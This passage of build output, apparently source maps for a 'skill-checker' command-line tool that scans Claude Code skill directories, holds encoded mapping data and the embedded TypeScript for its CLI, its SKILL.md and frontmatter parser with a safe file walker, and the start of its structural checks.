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","names":["existsSync","join","BINARY_EXTENSIONS","readFileSync","existsSync","join","join","existsSync","readFileSync","openSync","readSync","closeSync","join","openSync","readSync","closeSync","join","getAllText","readFileSync","existsSync","join","resolve","parseYaml","resolve","existsSync","configPath","join","readFileSync","parseYaml","require","existsSync","join"]}
|
|
1
|
+
{"version":3,"sources":["../src/cli.ts","../src/parser.ts","../src/checks/structural.ts","../src/types.ts","../src/utils/context.ts","../src/checks/content.ts","../src/utils/unicode.ts","../src/utils/entropy.ts","../src/checks/injection.ts","../src/checks/code-safety.ts","../src/ioc/index.ts","../src/ioc/indicators.ts","../src/checks/supply-chain.ts","../src/checks/resource.ts","../src/ioc/matcher.ts","../src/utils/levenshtein.ts","../src/checks/ioc.ts","../src/checks/index.ts","../src/scanner.ts","../src/reporter/terminal.ts","../src/reporter/json.ts","../src/config.ts"],"sourcesContent":["// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { createRequire } from 'node:module';\nimport { existsSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { Command } from 'commander';\nimport { scanSkillDirectory } from './scanner.js';\nimport { formatTerminalReport } from './reporter/terminal.js';\nimport { formatJsonReport, generateHookResponse } from './reporter/json.js';\nimport { loadConfig } from './config.js';\nimport type { PolicyLevel } from './types.js';\n\nconst require = createRequire(import.meta.url);\nconst pkg = require('../package.json') as { version: string };\n\nconst program = new Command();\n\nprogram\n .name('skill-checker')\n .description(\n 'Security checker for Claude Code skills - detect injection, malicious code, and supply chain risks'\n )\n .version(pkg.version);\n\nconst VALID_POLICIES = ['strict', 'balanced', 'permissive'] as const;\n\nprogram\n .command('scan')\n .description('Scan a skill directory for security issues')\n .argument('<path>', 'Path to the skill directory')\n .option('-f, --format <format>', 'Output format: terminal, json, hook', 'terminal')\n .option('-p, --policy <policy>', 'Policy: strict, balanced, permissive')\n .option('-c, --config <path>', 'Path to config file')\n .action(\n (\n path: string,\n opts: { format: string; policy?: string; config?: string }\n ) => {\n // Validate policy before anything else\n if (opts.policy && !VALID_POLICIES.includes(opts.policy as PolicyLevel)) {\n console.error(`Error: invalid policy \"${opts.policy}\". Valid values: ${VALID_POLICIES.join(', ')}`);\n process.exit(1);\n }\n // Load config\n const config = loadConfig(path, opts.config);\n\n // Warn if target directory has no SKILL.md\n if (!existsSync(join(path, 'SKILL.md'))) {\n console.error(\n 'Warning: No SKILL.md found in the specified directory. ' +\n 'This tool is designed to scan skill directories. ' +\n 'Results may contain noise. See: skill-checker scan --help'\n );\n }\n\n // Override policy from CLI\n if (opts.policy) {\n config.policy = opts.policy as PolicyLevel;\n }\n\n // Run scan\n const report = scanSkillDirectory(path, config);\n\n // Output\n switch (opts.format) {\n case 'json':\n console.log(formatJsonReport(report));\n break;\n case 'hook': {\n const hookResp = generateHookResponse(report, config);\n console.log(JSON.stringify(hookResp));\n break;\n }\n case 'terminal':\n default:\n console.log(formatTerminalReport(report));\n break;\n }\n\n // Exit code: non-zero if critical issues found\n if (report.summary.critical > 0) {\n process.exit(1);\n }\n }\n );\n\nprogram.parse();\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { readFileSync, readdirSync, lstatSync, existsSync, openSync, readSync, closeSync } from 'node:fs';\nimport { join, extname, basename, resolve } from 'node:path';\nimport { parse as parseYaml } from 'yaml';\nimport type { ParsedSkill, SkillFrontmatter, SkillFile } from './types.js';\n\n/** Binary file extensions that we skip reading */\nconst BINARY_EXTENSIONS = new Set([\n '.png', '.jpg', '.jpeg', '.gif', '.bmp', '.ico', '.webp', '.svg',\n '.woff', '.woff2', '.ttf', '.eot', '.otf',\n '.zip', '.gz', '.tar', '.bz2', '.7z', '.rar',\n '.exe', '.dll', '.so', '.dylib', '.bin',\n '.pdf', '.doc', '.docx', '.xls', '.xlsx',\n '.mp3', '.mp4', '.wav', '.avi', '.mov',\n '.wasm', '.pyc', '.class',\n]);\n\n/**\n * Parse a skill directory, reading SKILL.md and enumerating files.\n */\nexport function parseSkill(dirPath: string): ParsedSkill {\n const absDir = resolve(dirPath);\n\n // Find SKILL.md\n const skillMdPath = join(absDir, 'SKILL.md');\n const hasSkillMd = existsSync(skillMdPath);\n\n const raw = hasSkillMd ? readFileSync(skillMdPath, 'utf-8') : '';\n\n // Parse frontmatter\n const { frontmatter, frontmatterValid, body, bodyStartLine } =\n parseFrontmatter(raw);\n\n // Enumerate directory files\n const warnings: string[] = [];\n const files = enumerateFiles(absDir, warnings);\n\n return {\n dirPath: absDir,\n raw,\n frontmatter,\n frontmatterValid,\n body,\n bodyLines: body.split('\\n'),\n bodyStartLine,\n files,\n warnings,\n };\n}\n\n/**\n * Parse a single SKILL.md content string (without directory enumeration).\n * Useful for testing or when you only have the file content.\n */\nexport function parseSkillContent(\n content: string,\n dirPath = '.'\n): ParsedSkill {\n const { frontmatter, frontmatterValid, body, bodyStartLine } =\n parseFrontmatter(content);\n\n return {\n dirPath,\n raw: content,\n frontmatter,\n frontmatterValid,\n body,\n bodyLines: body.split('\\n'),\n bodyStartLine,\n files: [],\n warnings: [],\n };\n}\n\ninterface FrontmatterResult {\n frontmatter: SkillFrontmatter;\n frontmatterValid: boolean;\n body: string;\n bodyStartLine: number;\n}\n\nfunction parseFrontmatter(raw: string): FrontmatterResult {\n const fmRegex = /^---\\r?\\n([\\s\\S]*?)\\r?\\n---\\r?\\n?/;\n const match = raw.match(fmRegex);\n\n if (!match) {\n return {\n frontmatter: {},\n frontmatterValid: false,\n body: raw,\n bodyStartLine: 1,\n };\n }\n\n const yamlStr = match[1];\n const fmLineCount = match[0].split('\\n').length;\n\n try {\n const parsed = parseYaml(yamlStr);\n return {\n frontmatter: (typeof parsed === 'object' && parsed !== null\n ? parsed\n : {}) as SkillFrontmatter,\n frontmatterValid: true,\n body: raw.slice(match[0].length),\n bodyStartLine: fmLineCount,\n };\n } catch {\n return {\n frontmatter: {},\n frontmatterValid: false,\n body: raw.slice(match[0].length),\n bodyStartLine: fmLineCount,\n };\n }\n}\n\n/** Directories always skipped entirely (not security-relevant VCS internals) */\nconst SKIP_DIRS = new Set(['.git']);\n\n/** Directories skipped with a warning (potentially hiding payloads) */\nconst WARN_SKIP_DIRS = new Set(['node_modules']);\n\n/** Max scan depth — deep enough for real skills, bounded for safety */\nconst MAX_DEPTH = 15;\n\n/** Max file size for full text read (5 MB) */\nconst FULL_READ_LIMIT = 5_000_000;\n\n/** Partial read size for large text files — scan first 512 KB for key patterns */\nconst PARTIAL_READ_LIMIT = 512 * 1024;\n\nfunction enumerateFiles(dirPath: string, warnings: string[]): SkillFile[] {\n const files: SkillFile[] = [];\n\n if (!existsSync(dirPath)) return files;\n\n function walk(currentDir: string, depth: number): void {\n if (depth > MAX_DEPTH) {\n const rel = currentDir.slice(dirPath.length + 1) || currentDir;\n warnings.push(`Depth limit (${MAX_DEPTH}) exceeded at: ${rel}. Contents not scanned.`);\n return;\n }\n\n let entries;\n try {\n entries = readdirSync(currentDir, { withFileTypes: true });\n } catch {\n return;\n }\n\n for (const entry of entries) {\n const fullPath = join(currentDir, entry.name);\n const relativePath = fullPath.slice(dirPath.length + 1);\n\n // Use lstat to detect symlinks without following them\n let lstats;\n try {\n lstats = lstatSync(fullPath);\n } catch {\n continue;\n }\n\n // Skip symlinks entirely — prevent traversal outside skill directory\n if (lstats.isSymbolicLink()) {\n warnings.push(`Skipped symlink: ${relativePath}`);\n continue;\n }\n\n if (lstats.isDirectory()) {\n if (SKIP_DIRS.has(entry.name)) continue;\n if (WARN_SKIP_DIRS.has(entry.name)) {\n warnings.push(`Skipped directory: ${relativePath}. May contain unscanned files.`);\n continue;\n }\n // Hidden directories (except .git) ARE scanned — payloads can hide there\n walk(fullPath, depth + 1);\n continue;\n }\n\n // Skip special files (FIFO, socket, device, etc.) — only process regular files\n if (!lstats.isFile()) {\n warnings.push(`Skipped special file: ${relativePath}`);\n continue;\n }\n\n const ext = extname(entry.name).toLowerCase();\n const isBinary = BINARY_EXTENSIONS.has(ext);\n\n let content: string | undefined;\n if (!isBinary) {\n if (lstats.size <= FULL_READ_LIMIT) {\n try {\n content = readFileSync(fullPath, 'utf-8');\n } catch {\n // skip unreadable files\n }\n } else {\n // Large text file: window scan (head + tail) for pattern detection\n let fd: number | undefined;\n try {\n fd = openSync(fullPath, 'r');\n\n const headBuf = Buffer.alloc(PARTIAL_READ_LIMIT);\n const headBytesRead = readSync(fd, headBuf, 0, PARTIAL_READ_LIMIT, 0);\n const headContent = headBuf.slice(0, headBytesRead).toString('utf-8');\n\n const tailOffset = Math.max(0, lstats.size - PARTIAL_READ_LIMIT);\n const tailBuf = Buffer.alloc(PARTIAL_READ_LIMIT);\n const tailBytesRead = readSync(fd, tailBuf, 0, PARTIAL_READ_LIMIT, tailOffset);\n const tailContent = tailBuf.slice(0, tailBytesRead).toString('utf-8');\n\n content = tailOffset > 0\n ? `${headContent}\\n/* ... window gap ... */\\n${tailContent}`\n : headContent;\n\n warnings.push(\n `Large file window-scanned (head+tail ${PARTIAL_READ_LIMIT} bytes each): ${relativePath} (${lstats.size} bytes total)`\n );\n } catch {\n warnings.push(`Large file could not be read: ${relativePath} (${lstats.size} bytes)`);\n } finally {\n if (fd !== undefined) {\n try { closeSync(fd); } catch { /* fd already closed or invalid */ }\n }\n }\n }\n }\n\n files.push({\n path: relativePath,\n name: basename(entry.name, ext),\n extension: ext,\n sizeBytes: lstats.size,\n isBinary,\n content,\n });\n }\n }\n\n walk(dirPath, 0);\n return files;\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\n\nconst HYPHEN_CASE_RE = /^[a-z][a-z0-9]*(-[a-z0-9]+)*$/;\nconst MAX_NAME_LENGTH = 64;\n/** Script files: common in legitimate skills, content scanned by CODE/SUPPLY rules */\nconst SCRIPT_EXTENSIONS = new Set([\n '.sh', '.bash', '.ps1', '.bat', '.cmd',\n]);\n/** Binary executables: rarely legitimate in skills */\nconst BINARY_EXTENSIONS = new Set([\n '.exe', '.dll', '.so', '.dylib', '.bin', '.wasm', '.class', '.pyc',\n]);\n/** Installer packages */\nconst INSTALLER_EXTENSIONS = new Set([\n '.com', '.msi',\n]);\n\nexport const structuralChecks: CheckModule = {\n name: 'Structural Validity',\n category: 'STRUCT',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n // STRUCT-001: Missing SKILL.md\n if (!skill.raw) {\n results.push({\n id: 'STRUCT-001',\n category: 'STRUCT',\n severity: 'CRITICAL',\n title: 'Missing SKILL.md',\n message: 'No SKILL.md file found in the skill directory.',\n });\n return results; // no point checking further\n }\n\n // STRUCT-002: Invalid/missing frontmatter\n if (!skill.frontmatterValid) {\n results.push({\n id: 'STRUCT-002',\n category: 'STRUCT',\n severity: 'HIGH',\n title: 'Invalid YAML frontmatter',\n message:\n 'SKILL.md is missing valid YAML frontmatter (---...--- block).',\n });\n }\n\n // STRUCT-003: Missing name field\n if (!skill.frontmatter.name) 